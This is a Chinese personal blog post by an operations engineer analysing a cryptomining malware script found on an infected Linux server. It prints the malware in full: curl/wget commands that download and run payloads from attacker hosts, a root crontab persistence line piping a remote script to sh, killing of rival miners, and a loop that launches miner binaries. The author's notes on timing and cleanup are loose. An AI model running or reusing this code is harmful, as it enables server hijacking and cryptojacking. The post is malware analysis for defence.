分析linux服务器挖矿脚本

  • A+
所属分类:日志

今天,群里有朋友@我,说服务器中病毒了,让帮忙查看下一下的脚本。本身,对于shell脚本下的病毒还是很感兴趣的,于是就分析了下脚本。

#!/bin/bash

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

#export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

#chmod +x /tmp/hawk && ps auxf | grep -v grep | grep hawk || nohup /tmp/hawk >/dev/null 2>&1 &

rm -rf /tmp/config.txt

whoami=$( whoami )

if [ ${whoami}x != "root"x ];then

curl http://abcde.sw5y.com/l2/lowerv2.sh > /tmp/lower.sh

chmod 777 /tmp/lower.sh

nohup bash /tmp/lower.sh >/dev/null 2>&1 &

if [ ! -f "/tmp/lower.sh" ] ;then

wget -P /tmp/ http://abcde.sw5y.com/l2/lowerv2.sh

rm /tmp/lower.sh.*

rm /tmp/lowerv2.sh.*

fi

chmod 777 /tmp/lowerv2.sh

nohup bash /tmp/lowerv2.sh >/dev/null 2>&1 &

else

echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/crontabs/root

curl http://abcde.sw5y.com/l2/rootv2.sh > /tmp/root.sh

chmod 777 /tmp/root.sh

nohup bash /tmp/root.sh>/dev/null 2>&1 &

if [ ! -f "/tmp/root.sh" ] ;then

wget -P /tmp/ http://abcde.sw5y.com/l2/rootv2.sh

rm /tmp/root.sh.*

rm /tmp/rootv2.sh.*

fi

chmod 777 /tmp/rootv2.sh

nohup bash /tmp/rootv2.sh >/dev/null 2>&1 &

fi

这个脚本大致分析下,无非是判断用户不为空不是root的话,且如果不存在/tmp/lower.sh文件就下载运行。如果是root用户,就写crontab计划任务每5分钟下载一次脚本。并将脚本重定向到/tmp/root.sh下执行。

那么这个一直被强调下载的rootv2.sh是什么内容呢?

#!/bin/bash

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {

pkill -f sourplum

pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg

rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius

rm -rf /tmp/*index_bak*

rm -rf /tmp/*httpd.conf*

rm -rf /tmp/*httpd.conf

rm -rf /tmp/a7b104c270

pkill -f AnXqV.yam

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9

ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9

ps ax|grep -o './[0-9]* -c'| xargs pkill -f

pkill -f biosetjenkins

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

pkill -f stratum

pkill -f mixnerdx

pkill -f performedl

pkill -f JnKihGjn

pkill -f irqba2anc1

pkill -f irqba5xnc1

pkill -f irqbnc1

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f minexmr

pkill -f XJnRj

pkill -f NXLAi

pkill -f BI5zj

pkill -f askdljlqw

pkill -f minerd

pkill -f minergate

pkill -f Guard.sh

pkill -f ysaydh

pkill -f bonns

pkill -f donns

pkill -f kxjd

pkill -f Duck.sh

pkill -f bonn.sh

pkill -f conn.sh

pkill -f kworker34

pkill -f kw.sh

pkill -f pro.sh

pkill -f polkitd

pkill -f acpid

pkill -f icb5o

pkill -f nopxi

pkill -f irqbalanc1

pkill -f minerd

pkill -f i586

pkill -f gddr

pkill -f mstxmr

pkill -f ddg.2011

pkill -f wnTKYg

pkill -f deamon

pkill -f disk_genius

pkill -f sourplum

rm -rf /tmp/httpd.conf

rm -rf /tmp/conn

rm -rf /tmp/conns

rm -f /tmp/irq.sh

rm -f /tmp/irqbalanc1

rm -f /tmp/irq

PORT_NUMBER=3333

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=5555

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=7777

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

PORT_NUMBER=14444

lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9

}

function downloadyam() {

 if [ ! -f "/tmp/config.json" ]; then

   curl http://abcde.sw5y.com/l2/config.json -o /tmp/config.json && chmod +x /tmp/config.json

   if [ ! -f "/tmp/config.json" ]; then

    wget http://abcde.sw5y.com/l2/config.json -P /tmp && chmod +x /tmp/config.json

    rm -rf config.json.*

   fi

 fi

 if [ ! -f "/tmp/bashd" ]; then

   curl http://abcde.sw5y.com/l2/bashd -o /tmp/bashd && chmod +x /tmp/bashd

   if [ ! -f "/tmp/bashd" ]; then

    wget http://abcde.sw5y.com/l2/bashd -P /tmp && chmod +x /tmp/bashd

    rm -rf bashd.*

   fi

   nohup /tmp/bashd -p bashd>/dev/null 2>&1 &

 else

   p=$(ps aux | grep bashd | grep -v grep | wc -l)

   if [ ${p} -eq 1 ];then

    echo "bashd"

   elif [ ${p} -eq 0 ];then

    #nohup /tmp/bashd -p $(hostname)>/dev/null 2>&1 &

    nohup /tmp/bashd -p bashd>/dev/null 2>&1 &

   else

    echo ""

   fi

 fi

 sleep 15

 p=$(ps aux | grep bashd | grep -v grep | wc -l)

 if [ ${p} -eq 1 ];then

  echo "bashd"

 elif [ ${p} -eq 0 ];then

  if [ ! -f "/tmp/pools.txt" ]; then

    curl http://abcde.sw5y.com/l2/pools.txt -o /tmp/pools.txt && chmod +x /tmp/pools.txt

    if [ ! -f "/tmp/pools.txt" ]; then

     wget http://abcde.sw5y.com/l2/pools.txt -P /tmp && chmod +x /tmp/pools.txt

     rm -rf pools.txt.*

    fi

  fi

  if [ ! -f "/tmp/bashe" ]; then

    curl http://abcde.sw5y.com/l2/bashe -o /tmp/bashe && chmod +x /tmp/bashe

    if [ ! -f "/tmp/bashe" ]; then

     wget http://abcde.sw5y.com/l2/bashe -P /tmp && chmod +x /tmp/bashe

     rm -rf bashe.*

    fi

    nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &

  else

    p=$(ps aux | grep bashe | grep -v grep | wc -l)

    if [ ${p} -eq 1 ];then

     echo "bashe"

    elif [ ${p} -eq 0 ];then

     nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &

    else

     echo ""

    fi

  fi

 else

  echo ""

 fi

 sleep 15

 if [ ! -f "/tmp/Xagent" ]; then

     curl http://xmr.enjoytopic.tk/l3/Xagent -o /tmp/Xagent && chmod +x /tmp/Xagent

     if [ ! -f "/tmp/Xagent" ]; then

       wget http://xmr.enjoytopic.tk/l3/Xagent -P /tmp && chmod +x /tmp/Xagent

       rm -rf Xagent.*

     fi

     nohup /tmp/Xagent >/dev/null 2>&1 &

 else

   p=$(ps aux | grep Xagent | grep -v grep | wc -l)

   if [ ${p} -eq 1 ];then

    echo "Xagent"

   elif [ ${p} -eq 0 ];then

    nohup /tmp/Xagent >/dev/null 2>&1 &

   else

    echo ""

   fi

 fi

}

cd /tmp/

while [ 1 ]

do

 kills

 downloadyam

 sleep 600

done

这个脚本大致看了下,一个kills函数和downloadyam函数,kills函数是删除各种服务,脚本。不看不知道,原来他还会下载这么多东西啊。关键是downloadyam函数,满满的都是各种恶意。一小时执行一遍删除然后下载,是为了什么呢?

分析结果

这个脚本很简单,预防他是在/tmp/目录下创建lower.sh及rootv2.sh脚本,将第一个脚本删除。修改第二个脚本的while判断处,将downloadyam函数删除。

如果已经中病毒,那么就使用删除downloadyam函数的脚本执行就可以清除病毒。

weinxin
付生保个人博客
一个运维工程师的自媒体个人博客网站。也是关注IT技术学习和经验分享的原创独立自媒体个人博客。
avatar

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: